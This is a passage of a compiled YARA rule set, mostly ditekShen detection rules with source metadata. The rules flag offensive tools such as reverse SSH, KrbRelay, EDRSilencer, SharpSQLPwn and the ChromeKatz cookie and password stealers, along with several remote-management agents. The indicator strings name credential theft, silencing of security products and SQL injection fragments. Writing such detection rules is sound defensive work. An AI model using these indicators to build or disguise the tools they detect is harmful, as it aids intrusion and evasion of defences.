		quality = 75
		tags = "FILE"
	strings:
		$s1 = "main.connectviaproxy" ascii
		$s2 = "main.connectForSocks" ascii
		$s3 = "main.listenForClients" ascii
		$s4 = "main.listenForSocks" ascii
		$s5 = "Proxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and all of them
}

rule DITEKSHEN_INDICATOR_TOOL_Reversessh_Go : FILE
{
	meta:
		description = "Detects golang reverse ssh tool"
		author = "ditekShen"
		id = "4fb671aa-ad42-5f7e-bd5a-c19f018088c9"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1795-L1804"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4f9899aacc09c7da05fb5d412cfe8e91ee0d8e922189a6f921410d73ae8b3a9c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/reverse_ssh/" ascii
		$s2 = "main.rsshService" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_INDICATOR_TOOL_Krbrelay : FILE
{
	meta:
		description = "Detects KrbRelay"
		author = "ditekshen"
		id = "c8baac8a-54f3-5f53-93f8-daabeaaaff44"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1819-L1836"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f76b585cd2d741eab9d91ffd5a34c38696ac573cba1a3752d21c4b8b6681ad7b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "System.Collections.Generic.IEnumerable<System.IntPtr>.GetEnumerator" fullword ascii
		$s2 = "System.Collections.Generic.IEnumerator<System.IntPtr>.get_Current" fullword ascii
		$s3 = "GetProcessIdFromIPid" fullword ascii
		$g1 = "hello.stg" fullword wide
		$g2 = "DSInternals.Common" fullword ascii
		$g3 = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_7b3eed059f4c3e41\\Amd64\\UNIDRV.DLL" fullword wide
		$g4 = "C:\\Windows\\System32\\kernelbase.dll" fullword wide
		$g5 = "get_UnsupportedSecretEncryptionType" fullword ascii
		$g6 = "CoInitializeSecurity Error: 0x{0:X8}. Exploit will fail." fullword wide
		$g7 = "AuthnSvc: {0} - PrincName: {1}" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 4 of ( $g* ) ) or ( 7 of them ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Edrsilencer : FILE
{
	meta:
		description = "Detects EDRSilencer"
		author = "ditekshen"
		id = "29b6da1e-9138-5ee6-b9fd-d7b3c7f48626"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1838-L1857"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "da00aced2608fd5e192397ef2346ac247f29f993995fb90189e05da60be15d13"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "block \"C:\\Windows\\System32\\curl.exe\"" ascii
		$s2 = "blockedr" fullword ascii
		$s3 = "edrProcess" fullword ascii
		$s4 = "BlockEdrProcessTraffic" fullword ascii
		$s5 = "isInEdrProcessList" fullword ascii
		$s6 = "EDRSilencer.c" fullword ascii
		$v1 = "elastic-agent.exe" fullword ascii nocase
		$v2 = "CybereasonAV.exe" fullword ascii nocase
		$v3 = "SentinelAgent.exe" fullword ascii nocase
		$v4 = "fortiedr.exe" fullword ascii nocase
		$v5 = "MsMpEng.exe" fullword ascii nocase
		$v6 = "CylanceSvc.exe" fullword ascii nocase
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $v* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Edrprison : FILE
{
	meta:
		description = "Detects EDRPrison"
		author = "ditekshen"
		id = "85831265-fd9e-5e0e-b5d9-22bf1c89b3f2"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1859-L1872"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e1ef9e9c6bd0d2efa7b0b617fb52100075658221559f92a61c672807ab5a4d77"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Block:" wide
		$s2 = "PacketLen:" wide
		$s3 = "DoWorkPacket_Step" ascii
		$s4 = "DoWorkAsyncNETWORK" ascii
		$s5 = "BlockMessage" ascii
		$s6 = "GetRmAddrPortNetwork" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Sharpsqlpwn : FILE
{
	meta:
		description = "Detects SharpSQLPwn"
		author = "ditekshen"
		id = "f99c0ddb-a073-5c15-9a7c-60f6766cd0a2"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1874-L1891"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c811d4926c433c6521f4bbe03a1abf4a5b27b56931a18a8bb672f37fe4fccfb8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "smb_ip" fullword ascii
		$s2 = "Recon" fullword ascii
		$s3 = "UNCPathInjection" fullword ascii
		$s4 = "from sys.server_principals" wide
		$s5 = "EXEC sp_configure '" wide
		$s6 = "EXEC ('sp_configure" wide
		$s7 = "CREATE ASSEMBLY" wide
		$s8 = "DROP ASSEMBLY" wide
		$s9 = "FROM 0x" wide
		$s10 = "EXEC master..xp_dirtree \"\\\\" wide
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Chromekatz : FILE
{
	meta:
		description = "Detects ChromeKatz: CookieKatz and CredentialKatz"
		author = "ditekshen"
		id = "9dd706c8-552c-5c96-9b81-cfd50157ac34"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1893-L1908"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4f1bdbb7f8c4893444baac287c8fcefaca80a4301845706b56e9f9628c9f116f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\include\\xmemory" ascii wide
		$s2 = "targetBrowser" ascii
		$s3 = "thirdPattern" ascii
		$s4 = "isBrowserWow64" ascii
		$s5 = "wcscpy_s(memory, size_in_elements, string)" fullword wide
		$s6 = "hChrome" fullword ascii
		$t1 = "szCookieMonster" fullword ascii
		$t2 = "szPasswordReuseDetectorInstances" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_INDICATOR_RMM_Meshagent : FILE
{
	meta:
		description = "Detects MeshAgent. Review RMM Inventory"
		author = "ditekSHen"
		id = "3d0baa87-22c9-569d-ba84-37ccaac577b8"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L3-L27"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f36c0e23b20e4466100cf4ea2a91515bf1d54505e7b1f0926a4e416a04e0dbcf"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.MeshAgent"
	strings:
		$x1 = "\\MeshAgent" wide
		$x2 = "Mesh Agent" wide
		$x3 = "MeshDummy" wide
		$x4 = "MeshCentral" wide
		$x5 = "ILibRemoteLogging.c" ascii
		$x6 = "AgentCore/MeshServer_" wide
		$s1 = "var _tmp = 'Detected OS: ' + require('os').Name;" ascii
		$s2 = "console.log(getSHA384FileHash(process.execPath).toString('hex'))" ascii
		$s3 = "ScriptContainer.Create(): Error spawning child process, using [%s]" fullword ascii
		$s4 = "{\"agent\":\"" ascii
		$s6 = "process.versions.commitHash" fullword ascii
		$s7 = "console.log('Error Initializing script from Zip file');process._exit();" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) or 6 of ( $s* ) )
}



rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Agent : FILE
{
	meta:
		description = "Detects FleetDeck Agent. Review RMM Inventory"
		author = "ditekSHen"
		id = "342a196c-1c5c-5951-85e4-d288311b4980"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L101-L123"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "121e59ea0088c519b618e740b57c560d60cced4a48c9d468e6bf1ab22fa8c8ff"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.FleetDeckAgent"
	strings:
		$s1 = "fleetdeck.io/" ascii
		$s2 = "load FleetDeck agent" ascii
		$s3 = ".dev1.fleetdeck.io" ascii
		$s4 = "remoteDesktopSessionMutex" ascii
		$s5 = "main.remoteDesktopWatchdog" fullword ascii
		$s6 = "main.virtualTerminalWatchdog" fullword ascii
		$s7 = "main.meetRemoteDesktop" fullword ascii
		$s8 = "repo.senri.se/prototype3/" ascii
		$s9 = "main.svcIpcClient" fullword ascii
		$s10 = "main.hookMqttLogging" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander : FILE
{
	meta:
		description = "Detects FleetDeck Commander. Review RMM Inventory"
		author = "ditekSHen"
		id = "27d533b5-7a66-507e-8ef8-ad9a6cd39ab1"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L125-L143"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "feee888c6649af0d8e8b08a38dda0bf7970089cf064f58b8bd9c6ebd8378e094"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander"
	strings:
		$s1 = "Software\\Microsoft\\FleetDeck Commander" ascii
		$s2 = "fleetdeck.io/prototype3/" ascii
		$s3 = "fleetdeck_commander_launcher.exe" ascii
		$s4 = "fleetdeck_commander_svc.exe" ascii
		$s5 = "|FleetDeck Commander" ascii
		$s6 = "c:\\agent\\_work\\66\\s\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander_SVC : FILE
{
	meta:
		description = "Detects FleetDeck Commander SVC. Review RMM Inventory"
		author = "ditekSHen"
		id = "c03b61b4-36d0-5d38-9af8-e78b9930231f"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L145-L162"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "20bd69df3d058c24f83af312671cf249a3f26f54ef2e60f6b5b48a5bdb21b68b"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander-SVC"
	strings:
		$s1 = "fleetdeckfork/execfuncargs(" ascii
		$s2 = "REG ADD HKEY_CLASSES_ROOT\\%s /V \"URL Protocol\" /T REG_SZ /F" ascii
		$s3 = "proceed: *.fleetdeck.io" ascii
		$s4 = "fleetdeck.io/prototype3/commander_svc" ascii
		$s5 = "commanderupdate.fleetdeck.io" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander_Launcher : FILE
{
	meta:
		description = "Detects FleetDeck Commander Launcher. Review RMM Inventory"
		author = "ditekSHen"
		id = "9a4a221e-7a7a-5008-b509-7f01e4a3eea6"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L164-L178"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9429f55f162eebc58a7a9af8706244438cb76b1f0987facbb52d29997ed48b95"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander-Launcher"
	strings:
		$s1 = "fleetdeck.io/prototype3/commander_launcher" ascii
		$s2 = "FleetDeck Commander Launcher" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}


rule DITEKSHEN_INDICATOR_RMM_Pdqconnect_Agent : FILE
{
	meta:
		description = "Detects PDQ Connect Agent. Review RMM Inventory"
		author = "ditekSHen"
		id = "067e75a3-291b-500f-865d-8758eebe91e7"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L200-L227"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "34d0b07925551d1b08b86aa226c59aba569b6548cfa00a86ce6b1f271e427662"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$api1 = "/devices/register" ascii
		$api2 = "/devices/socket/websocket?device_id=" ascii
		$api3 = "/devices/tasks" ascii
		$api4 = "/devices/auth-challenge" ascii
		$api5 = "/devices/receiver/Url" ascii
		$s1 = "sign_pdq.rs" ascii
		$s2 = "x-pdq-dateCredential=(.+?)/" ascii
		$s3 = "pdq-connect-agent" ascii
		$s4 = "PDQ Connect Agent" ascii
		$s5 = "PDQConnectAgent" ascii
		$s6 = "PDQConnectAgentsrc\\logger.rs" ascii
		$s7 = "-PDQ-Key-IdsUser-Agent" ascii
		$s8 = "\\PDQ\\PDQConnectAgent\\" ascii
		$s9 = "\\pdq_connect_agent.pdb" ascii
		$s10 = "task_ids[]PDQ rover" ascii
		$s11 = "https://app.pdq.com/" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0xcfd0 ) and ( 4 of ( $s* ) or ( 3 of ( $api* ) and 1 of ( $s* ) ) )
}


rule DITEKSHEN_INDICATOR_RMM_Pulseway_Pcmontasksrv : FILE
{
	meta:
		description = "Detects Pulseway pcmontask and service user agent responsible for Remote Control, Screens View, Computer Lock, etc"
		author = "ditekSHen"
		id = "83901679-ffff-5710-b472-ece592e6764f"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L245-L266"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "80ba217960dd1ddeb220545c1cccbe96d9b676d327364e1ca8a9dde2b059261f"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.PulseWay"
	strings:
		$s1 = "MM.Monitor." ascii
		$s2 = "RDAgentSessionSettingsV" ascii
		$s3 = "CheckForMacOSRemoteDesktopUpdateCompletedEvent" ascii
		$s4 = "ConfirmAgentStarted" ascii
		$s5 = "GetScreenshot" ascii
		$s6 = "UnloadRemoteDesktopDlls" ascii
		$s7 = "CtrlAltDeleteProc" ascii
		$s8 = "$7cfc3b88-6dc4-49fc-9f0a-bf9e9113a14d" ascii
		$s9 = "computermonitor.mmsoft.ro" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0xcfd0 ) and 7 of them
}

rule DITEKSHEN_INDICATOR_RMM_Pulseway_Remotedesktop : FILE
{
	meta:
		description = "Detects Pulseway Rempte Desktop client"
		author = "ditekSHen"
		id = "8bca3cef-b24f-597a-a6e2-86040ed726f4"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L268-L286"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a542c11f21ab48f4da69df4e7cb46531658a714687e2c2f8ccf78dc2a0338b68"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.PulseWay"
	strings:
		$s1 = "RemoteControl" ascii
		$s2 = "MM.Monitor.RemoteDesktopClient." ascii
		$s3 = "MM.Monitor.RemoteControl" ascii
		$s4 = "RemoteDesktopClientUpdateInfo" ascii
		$s5 = "ShowRemoteDesktopEnabledSystemsOnly" ascii
		$s6 = "$31f50968-d45c-49d6-ace9-ebc790855a51" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0xcfd0 ) and 5 of them
}


rule DITEKSHEN_INDICATOR_RMM_Manageengine_Zohomeeting : FILE
{
	meta:
		description = "Detects ManageEngine Zoho Meeting (dc_rds.exe)"
		author = "ditekSHen"
		id = "b15efdd1-323c-5ed6-894d-b44f04d2eaf3"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L304-L324"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8066bcd17245efcc73f2bef7f022ad23ab648fe0ad15ca66c0d387ce4eda998b"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.ManageEngine-ZohoMeeting"
	strings:
		$s1 = "bin\\ClientAuthHandler.dll" wide
		$s2 = "AgentHook.dll" wide
		$s3 = "UEMS - Remote Control" wide
		$s4 = "Install hook...." wide
		$s5 = "india.adventnet.com/meet.sas?k=" ascii
		$s6 = "dcTcpSocket::" ascii
		$s7 = "%s/%s?clientId=%s&sessionId=%s&clientName=%s&ticket=%s&connectionId=%s" ascii
		$s8 = ".\\engines\\ccgost\\gost_" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}


rule DITEKSHEN_INDICATOR_RMM_Splashtopstreamer : FILE
{
	meta:
		description = "Detects Splashtop Streamer. Review RMM Inventory"
		author = "ditekSHen"
		id = "317f2be4-983f-5528-b629-75a13de7b411"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L385-L403"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "67181cd6ae071074c6bf35f44963c11c9ee9b7df242027c15b1e165d108f7b98"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.SplashtopStreamer"
	strings:
		$s1 = "\\slave\\workspace\\GIT_WIN_SRS_Formal\\Source\\irisserver\\" ascii
		$s2 = ".api.splashtop.com" wide
		$s3 = "Software\\Splashtop Inc.\\Splashtop" wide
		$s4 = "restarted the streamer.%nApp version: %1" wide
		$s5 = "Splashtop-Splashtop Streamer-" wide
		$s6 = "[RemoveStreamer] Send msg 2 cloud(%d:%d:%d)" wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}


rule DITEKSHEN_INDICATOR_RMM_Aeroadmin : FILE
{
	meta:
		description = "Detects AeroAdmin. Review RMM Inventory"
		author = "ditekSHen"
		id = "0f69c6da-40e4-5952-b6f9-ed401279eb9e"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L421-L442"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a0a9e15f31b6b06fbc749b863563c30351c775c1b1d17952013670e7e1d68c41"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.AeroAdmin"
	strings:
		$s1 = "\\AeroAdmin" wide
		$s2 = ".aeroadmin.com" ascii wide
		$s3 = "XAeroadminAppRestarter" wide
		$s4 = "SYSTEM\\ControlSet001\\Control\\SafeBoot\\Network\\AeroadminService" wide
		$s5 = "AeroAdmin {}" ascii
		$s6 = "FAeroAdmin.cpp" fullword ascii
		$s7 = "Referer: http://900100.net" ascii
		$s8 = "POST /sims/sims_new.php" ascii
		$s9 = "aeroadmin.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}


rule DITEKSHEN_INDICATOR_RMM_Dwagentlib : FILE
{
	meta:
		description = "Detect DWAgent Remote Administration Tool library"
		author = "ditekSHen"
		id = "af0f9940-fbec-5775-9b74-bd73b55ec0ca"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L463-L482"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "608dd9bc8cfcec5a671bee9456dccedace31d7ae37180387ac2408f79fd9f452"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.DWAgent-LIB"
	strings:
		$s1 = "DWAgentLib" fullword wide
		$s2 = "PYTHONHOME" fullword wide
		$s3 = "isTaskRunning" fullword ascii
		$s4 = "isUserInAdminGroup" fullword ascii
		$s5 = "setFilePermissionEveryone" fullword ascii
		$s6 = "startProcessInActiveConsole" fullword ascii
		$s7 = "taskKill" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_INDICATOR_RMM_Dwagent_Screencapture : FILE
{
	meta:
		description = "Detect DWAgent Remote Administration Tool Screen Capture Module"
		author = "ditekSHen"
		id = "79586e5e-b7e5-5adc-97f3-0d29ad695079"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L503-L528"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d3160fd4cce445aa6d2bc6c083893c7610ea5e72824fe9824ad853700f4d3874"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Win.RMM.DWAgent-ScreenCapture"
	strings:
		$s1 = "DWAgentLib" fullword wide
		$s2 = "PYTHONHOME" wide
		$s3 = "VirtualBox" wide
		$s4 = "VMware" wide
		$s5 = "ScreenCapture::prepareCursor#" ascii
		$s6 = "ScreenCapture::getMonitorCount#" ascii
		$s7 = "ScreenCapture::token" ascii
		$s8 = "dwascreencapture" ascii
		$s9 = "inputKeyboard CTRLALTCANC" ascii
		$s10 = "_Z34ScreenCaptureNativeMonitorEnumProc" ascii
		$s11 = "_Z41ScreenCaptureNativeCreateWindowThreadProc" ascii
		$s12 = "_ZN13ScreenCapture" ascii
		$s13 = "isUserInAdminGroup" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}


rule DITEKSHEN_INDICATOR_OSX_RMM_Dwagent : FILE
{
	meta:
		description = "Detect DWAgent Remote Administration Tool macOS run"
		author = "ditekSHen"
		id = "0eeb9ae3-826e-52b7-bbb8-3f8c4920f5c3"
		date = "2023-08-22"
		modified = "2024-10-04"
		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_rmm.yar#L565-L580"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9864668abdd534d8a33940f9513d07356451ce1eaa9233771e82b8138dc0b41b"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "INDICATOR.Osx.RMM.DWAgent-RUN"
	strings:
		$s1 = "net.dwservice.DWAgent" ascii
		$s2 = "-[DWADelegate" ascii
		$s3 = "customWindowsToEnterFullScreenForWindow:onScreen:" ascii
	condition:
		uint16( 0 ) == 0xfeca and all of them
}

/*
 * YARA Rule Set
 * Repository Name: WithSecureLabs
 * Repository: https://github.com/WithSecureLabs/iocs
 * Retrieval Date: 2026-03-15
 * Git Commit: 303d48d900d24dbf0f1c17429bfe051eed995d29
 * Number of Rules: 10
 * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * BSD 2-Clause License

Copyright (c) [2022], [WithSecure Oyj]

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */








/*
 * YARA Rule Set
 * Repository Name: HarfangLab
 * Repository: https://github.com/HarfangLab/iocs
 * Retrieval Date: 2026-03-15
 * Git Commit: 278c38e11e99d35af836cb9140e0857fd9226574
 * Number of Rules: 31
 * Skipped: 0 (age), 6 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule HARFANGLAB_Masepie_Campaign_Htmlstarter : FILE
{
	meta:
		description = "Detect Malicious Web page HTML file from CERT-UA#8399"
		author = "HarfangLab"
